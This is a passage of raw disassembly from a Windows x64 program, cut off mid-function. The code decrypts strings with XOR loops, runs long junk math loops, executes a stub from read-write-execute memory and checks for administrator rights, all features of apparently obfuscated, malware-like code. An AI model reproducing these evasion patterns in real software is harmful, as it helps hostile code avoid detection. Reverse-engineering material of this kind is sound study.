pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x14000ed61
cmp r9d, 0x4f
jge 0x14000ef84
movsxd rax, r9d
lea r10, [rsp + 0x790]
add r10, rax
nop
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x14000ef30
movzx edx, byte [rsp + 0xec8]
lea rcx, [rsp + 0x860]
call fcn.140018620
nop
lea rax, [rsp + 0x790]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14000efa5
lea rdx, [rsp + 0x790]
lea rcx, [rsp + 0x860]
call fcn.140018640
nop
lea rdx, [rsp + 0x860]
lea rcx, [rsp + 0xe90]
call fcn.140003c60
nop
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x708]
mov rdx, rax
lea rcx, [rsp + 0x1440]
call fcn.140017d20
nop
lea rcx, [rsp + 0xe90]
call fcn.140016730
nop
lea rcx, [rsp + 0x708]
call fcn.140016e60
lea rcx, [rsp + 0x720]
call fcn.140002490
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x7b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rsp + 0x67b0]
call fcn.140017140
mov dword [rsp + 0xef8], 0xffffff9c
mov dword [rsp + 0xefc], 0x64
movaps xmm0, xmmword [0x140025440]
movups xmmword [rsp + 0x1080], xmm0
mov dword [rsp + 0x30], 0
xorps xmm8, xmm8
movsd qword [rsp + 0x38], xmm8
lea rcx, [rsp + 0x1358]
call fcn.140001ae0
mov qword [rsp + 0x598], 0x64
mov rax, qword [rsp + 0x1358]
mov qword [rsp + 0x5a0], rax
lea r8, [rsp + 0x598]
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x9a8]
call fcn.140017530
mov rdi, qword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xfc8], xmm0
mov qword [rsp + 0xfd8], rax
lea rcx, [rsp + 0xfc8]
call fcn.140016030
nop
lea rcx, [rsp + 0x5a8]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x2d8]
call fcn.140017580
nop
lea rdx, [rsp + 0x2d8]
lea rcx, [rsp + 0xfc8]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2d8]
call fcn.140016050
nop
lea rcx, [rsp + 0x5a8]
call fcn.140016050
lea rcx, [rsp + 0x5b0]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x2e0]
call fcn.140017580
nop
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0xfc8]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2e0]
call fcn.140016050
nop
lea rcx, [rsp + 0x5b0]
call fcn.140016050
lea rcx, [rsp + 0x5b8]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x2e8]
call fcn.140017580
nop
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0xfc8]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2e8]
call fcn.140016050
nop
lea rcx, [rsp + 0x5b8]
call fcn.140016050
lea rcx, [rsp + 0x5c0]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x2f0]
call fcn.140017580
nop
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0xfc8]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2f0]
call fcn.140016050
nop
lea rcx, [rsp + 0x5c0]
call fcn.140016050
lea rcx, [rsp + 0x5c8]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x2f8]
call fcn.140017580
nop
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xfc8]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2f8]
call fcn.140016050
nop
lea rcx, [rsp + 0x5c8]
call fcn.140016050
lea rcx, [rsp + 0x5d0]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x300]
call fcn.140017580
nop
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0xfc8]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x300]
call fcn.140016050
nop
lea rcx, [rsp + 0x5d0]
call fcn.140016050
lea rcx, [rsp + 0x5d8]
call fcn.140001ae0
mov qword [rsp + 0x170], rdi
mov rax, qword [rax]
mov qword [rsp + 0x178], rax
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x178]
call fcn.140002910
test al, al
jns 0x14000f7d0
movsd xmm10, qword [0x1400253a8]
nop dword [rax]
mov r14d, 0x186a0
nop word [rax + rax]
mov r9d, dword [rsp + 0xefc]
mov r8d, dword [rsp + 0xef8]
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0xef8]
call fcn.140019160
mov r9d, dword [rsp + 0xefc]
mov r8d, dword [rsp + 0xef8]
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0xef8]
call fcn.140019160
mov rcx, qword [rsp + 0xfd0]
mov rsi, qword [rsp + 0xfc8]
sub rcx, rsi
sar rcx, 3
cdqe
xor edx, edx
div rcx
movsxd rax, edx
mov rsi, qword [rsi + rax*8]
mov rax, qword [rsi]
mov rbx, qword [rax + 8]
mov r9d, dword [rsp + 0xefc]
mov r8d, dword [rsp + 0xef8]
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0xef8]
call fcn.140019160
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rsi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0x1080]
call fcn.140017690
movaps xmm9, xmm0
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0x1080]
call fcn.140017690
movaps xmm6, xmm0
movaps xmm7, xmm0
andps xmm7, xmm15
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm8, xmm0
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm8, xmm0
addsd xmm7, xmm14
movaps xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm8, xmm0
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm8, xmm0
movsd xmm1, qword [rsp + 0x38]
addsd xmm8, xmm1
movsd qword [rsp + 0x38], xmm8
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0x1080]
call fcn.140017690
movaps xmm1, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0x1080]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1510]
call fcn.1400167d0
nop
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0x1510]
call fcn.140002750
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1180], xmm0
mov qword [rsp + 0x1190], rax
lea rcx, [rsp + 0x1180]
call fcn.140016030
mov edx, 0x64
lea rcx, [rsp + 0x1180]
call fcn.140018230
nop
lea rdx, [rsp + 0x9b0]
lea rcx, [rsp + 0x1180]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x9b8]
lea rcx, [rsp + 0x1180]
call fcn.1400161d0
lea rcx, [rsp + 0xef8]
mov qword [rsp + 0x6b0], rcx
lea rcx, [rsp + 0x67b0]
mov qword [rsp + 0x6b8], rcx
lea r8, [rsp + 0x6b0]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0x1180]
call fcn.140002860
lea rdx, [rsp + 0x9c0]
lea rcx, [rsp + 0x1180]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x9c8]
lea rcx, [rsp + 0x1180]
call fcn.1400161d0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov r9d, dword [rsp + 0xefc]
mov r8d, dword [rsp + 0xef8]
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0xef8]
call fcn.140019160
mov ebx, eax
mov r9d, dword [rsp + 0xefc]
mov r8d, dword [rsp + 0xef8]
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0xef8]
call fcn.140019160
mov r8d, eax
mov ecx, ebx
test ebx, ebx
cmove ecx, r15d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14000f64d
dec eax
or eax, 0xfffffffe
inc eax
mov r9d, dword [rsp + 0xefc]
mov r8d, dword [rsp + 0xef8]
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0xef8]
test eax, eax
jne 0x14000f682
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000f691
call fcn.140019160
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov esi, 5
xor ebx, ebx
nop dword [rax + rax]
mov r9d, dword [rsp + 0xefc]
mov r8d, dword [rsp + 0xef8]
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0xef8]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x67b0]
lea rcx, [rsp + 0x1080]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0x67b0]
test bl, 1
jne 0x14000f72b
mov r9d, dword [rsp + 0xefc]
mov r8d, dword [rsp + 0xef8]
lea rcx, [rsp + 0xef8]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000f74d
movsd xmm6, qword [rsp + 0x38]
lea rcx, [rsp + 0x1080]
call fcn.140017690
addsd xmm0, xmm14
divsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
inc ebx
cmp ebx, 5
jl 0x14000f6a0
sub rsi, 1
jne 0x14000f696
lea rcx, [rsp + 0x1180]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x1510]
call fcn.140016730
sub r14, 1
jne 0x14000f330
lea rcx, [rsp + 0x5d8]
call fcn.140001ae0
mov qword [rsp + 0x170], rdi
mov rax, qword [rax]
mov qword [rsp + 0x178], rax
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x178]
call fcn.140002910
test al, al
js 0x14000f320
mov esi, dword [0x14002c018]
mov r14d, 6
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0xfc8]
call fcn.1400160c0
mov rax, qword [0x140025188]
mov qword [rsp + 0x90], rax
cmp byte [0x14002518f], 0
je 0x14000fa54
cmp esi, 2
jl 0x14000f9f1
movdqa xmm7, xmmword [0x140025460]
movd xmm8, r14d
movdqa xmm9, xmmword [0x140025470]
mov edi, 4
movd xmm10, edi
mov r15d, 0x1f
movd xmm12, r15d
movdqa xmm5, xmmword [0x1400253f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.________________]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x90]
pxor xmm3, xmm1
movd dword [rsp + 0x90], xmm3
movdqa xmm5, xmmword [0x140025400]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x94]
pxor xmm3, xmm1
movd dword [rsp + 0x94], xmm3
jmp 0x14000fa5e
lea r10, [rsp + 0x90]
xor r9d, r9d
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14000fa00
mov r15d, 0x1f
lea edi, [r15 - 0x1b]
lea rcx, [rsp + 0x90]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rbx, rax
movzx edx, byte [rsp + 0xec8]
lea rcx, [rsp + 0x13a8]
call fcn.140018620
nop
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000fa90
mov rdx, rbx
lea rcx, [rsp + 0x13a8]
call fcn.140018640
nop
mov eax, dword [str._f__J]
mov dword [rsp + 0x40], eax
movzx eax, word [0x140024edc]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], 0x4c
xor byte [rsp + 0x41], 0x42
xor byte [rsp + 0x42], 0x44
xor byte [rsp + 0x43], 0x46
xor al, 0x48
mov byte [rsp + 0x44], al
xor byte [rsp + 0x45], 0x4a
mov rax, qword [0x140024b78]
mov qword [rsp + 0x80], rax
cmp byte [0x140024b7f], 0
je 0x14000fd44
cmp esi, 2
jl 0x14000fce5
movdqa xmm7, xmmword [0x140025460]
movd xmm8, r14d
movdqa xmm9, xmmword [0x140025470]
movd xmm10, edi
movd xmm12, r15d
movdqa xmm5, xmmword [0x1400253f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.________________]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x80]
pxor xmm3, xmm1
movd dword [rsp + 0x80], xmm3
movdqa xmm5, xmmword [0x140025400]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x84]
pxor xmm3, xmm1
movd dword [rsp + 0x84], xmm3
jmp 0x14000fd44
lea r10, [rsp + 0x80]
xor r9d, r9d
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14000fcf0
movzx edx, byte [rsp + 0xec8]
lea rcx, [rsp + 0x840]
call fcn.140018620
nop
lea rax, [rsp + 0x80]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14000fd65
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x840]
call fcn.140018640
nop
mov rbx, qword [rsp + 0x850]
mov rax, qword [0x140024b78]
mov qword [rsp + 0x88], rax
cmp byte [0x140024b7f], 0
je 0x14000fff4
cmp esi, 2
jl 0x14000ff92
movdqa xmm7, xmmword [0x140025460]
movd xmm8, r14d
movdqa xmm9, xmmword [0x140025470]
movd xmm10, edi
movd xmm12, r15d
movdqa xmm5, xmmword [0x1400253f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.________________]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x88]
pxor xmm3, xmm1
movd dword [rsp + 0x88], xmm3
movdqa xmm5, xmmword [0x140025400]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x8c]
pxor xmm3, xmm1
movd dword [rsp + 0x8c], xmm3
jmp 0x14000fff4
lea r10, [rsp + 0x88]
xor r9d, r9d
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14000ffa0
xor r8d, r8d
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x13a8]
call fcn.1400164f0
lea rdx, [rsp + 0x40]
mov rcx, r12
inc rcx
cmp byte [rdx + rcx], 0
jne 0x140010014
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x40]
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x13a8]
call fcn.140016f30
nop
lea rcx, [rsp + 0x840]
call fcn.140016730
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1288], xmm0
mov qword [rsp + 0x1298], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x1288]
call fcn.1400029a0
nop
xor ecx, ecx
mov rax, qword [0x14002dad0]
lea r15, [0x140017cf0]
test rax, rax
je 0x1400100b9
xor edx, edx
nop word [rax + rax]
cmp rax, r15
je 0x1400100a8
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2dad0]
test rax, rax
jne 0x140010090
jmp 0x1400100b9
mov r8, qword [r13 + rdx*8 + 0x2fa70]
test r8, r8
jne 0x14001019f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14001017e
mov rax, r15
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400100f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400306f0]
mov qword [r13 + rax*8 + 0x2dad0], r15
mov qword [r13 + rax*8 + 0x2fa70], r8
inc rax
mov qword [0x1400306f0], rax
mov rcx, qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call r8
nop
mov rdx, qword [rsp + 0x1288]
xor rdx, qword [rsp + 0x1290]
mov qword [rsp + 0x1288], rdx
mov rcx, qword [rsp + 0x1298]
mov qword [rcx], rdx
test eax, eax
je 0x140010615
movups xmm0, xmmword [0x140024ea8]
movups xmmword [rsp + 0x640], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140010484
cmp esi, 2
jl 0x140010419
movdqa xmm9, xmmword [0x1400253f0]
xor edx, edx
movdqa xmm6, xmmword [0x140025460]
movd xmm10, r14d
movdqa xmm7, xmmword [0x140025470]
movd xmm11, edi
movdqa xmm12, xmmword [0x140025410]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140025480]
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0x644]
mov r8d, dword [rsp + 0xa0]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
